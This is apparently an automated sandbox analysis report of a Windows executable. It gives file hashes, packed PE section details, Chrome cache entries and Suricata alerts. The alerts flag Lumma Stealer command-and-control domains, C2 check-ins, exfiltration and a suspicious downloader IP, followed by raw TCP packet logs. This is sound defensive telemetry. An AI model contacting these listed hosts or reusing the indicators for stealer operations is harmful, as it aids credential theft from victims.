SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.561406139395061
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GxX48twWHA.exe
File size:	3'011'072 bytes
MD5:	f0ae755fcf9bfc54922b2076d228e957
SHA1:	0679f052acf0f7430dffc695a935733034178951
SHA256:	79199beaba9c2e9403206335351595fbb628ea31123410da52e4c0358a0a9e63
SHA512:	d0e33828a281a56f1cef69207b7035852ad3e1ed80dd4f8c4f8ff1022729328ff275869540ca11995e4507f267766cf1c0b27b07864741d715e00865b5d4f469
SSDEEP:	49152:CQkAyjAzYSoNcA24XFaub9XIqb+xNN32qgtL5LCh:/kAyjAzWp24XFfb0N3Bgtpi
TLSH:	84D55D517A0576CFE88E1BB8C417CF82696E07F95B2908D3EC6C64B9BD67CC025B9C18
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................0...........@...........................0.....<h....@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7DD102914Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	441cadd9fe6e1bf7533e4e41524a9350	False	0.9995085273692811	data	7.983781686177482	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rvemorut	0x55000	0x2b6000	0x2b5600	b62a191438f87beb7294e5c32307d207	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mlamofku	0x30b000	0x1000	0x400	f4335c8ac3ea2e45e7602d43a69d73e5	False	0.8232421875	zlib compressed data	6.345720925092754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	43fb32c282930c9e00fc4a1dc6483379	False	0.0759420955882353	DOS executable (COM)	0.9132836810877875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T13:22:14.034061+0100	2058514	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)	1	192.168.2.4	63730	1.1.1.1	53	UDP
2024-12-26T13:22:14.175337+0100	2058502	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)	1	192.168.2.4	51044	1.1.1.1	53	UDP
2024-12-26T13:22:14.317637+0100	2058492	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)	1	192.168.2.4	61772	1.1.1.1	53	UDP
2024-12-26T13:22:14.458096+0100	2058500	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)	1	192.168.2.4	61496	1.1.1.1	53	UDP
2024-12-26T13:22:14.597098+0100	2058510	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)	1	192.168.2.4	64124	1.1.1.1	53	UDP
2024-12-26T13:22:14.795575+0100	2058484	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)	1	192.168.2.4	61946	1.1.1.1	53	UDP
2024-12-26T13:22:15.007480+0100	2058512	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)	1	192.168.2.4	54442	1.1.1.1	53	UDP
2024-12-26T13:22:15.147776+0100	2058480	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)	1	192.168.2.4	53582	1.1.1.1	53	UDP
2024-12-26T13:22:16.920035+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.102.49.254	443	TCP
2024-12-26T13:22:17.784285+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	104.102.49.254	443	TCP
2024-12-26T13:22:19.469122+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-26T13:22:20.220179+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-26T13:22:20.220179+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-26T13:22:21.560114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-26T13:22:22.357768+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-26T13:22:22.357768+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-26T13:22:24.113701+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.66.86	443	TCP
2024-12-26T13:22:27.017735+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.66.86	443	TCP
2024-12-26T13:22:29.508133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-26T13:22:31.969982+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	104.21.66.86	443	TCP
2024-12-26T13:22:32.770814+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49740	104.21.66.86	443	TCP
2024-12-26T13:22:34.562470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.66.86	443	TCP
2024-12-26T13:22:40.687229+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	104.21.66.86	443	TCP
2024-12-26T13:22:41.460782+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	104.21.66.86	443	TCP
2024-12-26T13:22:43.008408+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49745	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 13:22:12.054275036 CET	49675	443	192.168.2.4	173.222.162.32
Dec 26, 2024 13:22:15.432976007 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:15.433024883 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:15.433084011 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:15.436162949 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:15.436173916 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:16.919953108 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:16.920034885 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:16.925313950 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:16.925327063 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:16.925704002 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:16.976110935 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:16.984319925 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:17.031339884 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784332037 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784362078 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784404039 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784421921 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784434080 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:17.784434080 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:17.784451008 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784461975 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:17.784476042 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:17.784476042 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:17.784492970 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.003405094 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.003423929 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.003479958 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.003521919 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.003540039 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.003571987 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.003596067 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.011143923 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.011261940 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.011280060 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.011339903 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.013267994 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.013288021 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.013299942 CET	49730	443	192.168.2.4	104.102.49.254
Dec 26, 2024 13:22:18.013305902 CET	443	49730	104.102.49.254	192.168.2.4
Dec 26, 2024 13:22:18.160981894 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:18.161031008 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:18.161132097 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:18.161469936 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:18.161484003 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:19.468956947 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:19.469121933 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:19.472810984 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:19.472834110 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:19.473103046 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:19.474320889 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:19.474358082 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:19.474406004 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:20.220187902 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:20.220287085 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:20.220335007 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:20.220504045 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:20.220525026 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:20.220560074 CET	49731	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:20.220566034 CET	443	49731	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:20.252767086 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:20.252820969 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:20.252899885 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:20.253185987 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:20.253200054 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:21.559987068 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:21.560113907 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:21.561496973 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:21.561507940 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:21.561791897 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:21.563159943 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:21.563194990 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:21.563224077 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.357805014 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.357861996 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.357898951 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.357916117 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.357939959 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.357975006 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.357983112 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.358028889 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.358066082 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.358073950 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.369333982 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.369406939 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.369424105 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.377757072 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.377820969 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.377835989 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.429245949 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.477626085 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.522972107 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.522995949 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.569895983 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.569916964 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.572411060 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.572463036 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.572478056 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.572516918 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.572561979 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.572699070 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.572712898 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.572726965 CET	49732	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.572735071 CET	443	49732	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.808903933 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.809042931 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:22.809139013 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.809504032 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:22.809537888 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:23.724688053 CET	49672	443	192.168.2.4	173.222.162.32
Dec 26, 2024 13:22:23.724736929 CET	443	49672	173.222.162.32	192.168.2.4
Dec 26, 2024 13:22:24.113596916 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:24.113701105 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:24.115999937 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:24.116015911 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:24.116255999 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:24.119431019 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:24.119937897 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:24.119971037 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:24.120352030 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:24.120359898 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:25.457779884 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:25.457902908 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:25.457979918 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:25.459932089 CET	49733	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:25.459980011 CET	443	49733	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:25.713674068 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:25.713702917 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:25.713783026 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:25.714247942 CET	49734	443	192.168.2.4	104.21.66.86
Dec 26, 2024 13:22:25.714261055 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.017592907 CET	443	49734	104.21.66.86	192.168.2.4
Dec 26, 2024 13:22:27.017735004 CET	49734	443	192.168.2.4	104.21.66.86
